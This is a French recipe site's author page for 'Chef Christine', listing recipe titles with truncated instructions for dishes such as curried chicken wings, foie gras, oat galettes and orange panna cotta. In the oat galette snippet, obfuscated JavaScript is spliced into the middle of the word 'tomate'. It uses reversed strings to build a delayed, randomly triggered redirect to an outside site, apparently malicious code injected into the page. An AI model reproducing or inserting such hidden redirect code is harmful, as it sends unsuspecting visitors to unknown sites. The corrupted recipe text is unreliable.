Chef Christine.

Christine.

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Toutes les recettes et articles de Christine.

Ailes de poulet au curry

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Dans un bol déposez les raisins secs avec le rhum pendant 15 minutes. Saupoudrez les ...

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Foie de veau à la lyonnaise

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Séchez les tranches de foie de veau avec du papier absorbant. Versez dans une assiette ...

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Foie gras au naturel

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Tapissez le fond d’une terrine de gros sel. Poivrez le foie sur ces deux faces. ...

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Foie gras à la poêle avec des pêches

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Égouttez, coupez en lamelles les pêches. Dans une poêle avec une noix de beurre, sur ...

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Cervelle d’agneau aux épinards

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Préparez la pâte à crêpes, en mélangeant la farine avec la pincée de sel fin. ...

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Carrés de foie gras de canard aux pommes

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Déroulez la pâte feuilletée. Découpez 12 carrés. Pelez, ôtez le cœur et les pépins de ...

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Brochettes de foie de volaille

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Rincez, séchez, coupez en deux le poivron, enlevez les petites graines, et la peau blanche. ...

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Flan de courgettes au bacon

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Rincez, séchez les courgettes. Ne pas les peler. Découpez-les en fines rondelles, et faites les ...

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Galettes d’avoine

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Rincez, séchez et coupez en petits dés la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate. ...

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Panna cotta à l’orange et aux framboises fraîches

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Versez dans une casserole le jus d’orange, la liqueur d’orange et 2 cuillères à soupe ...

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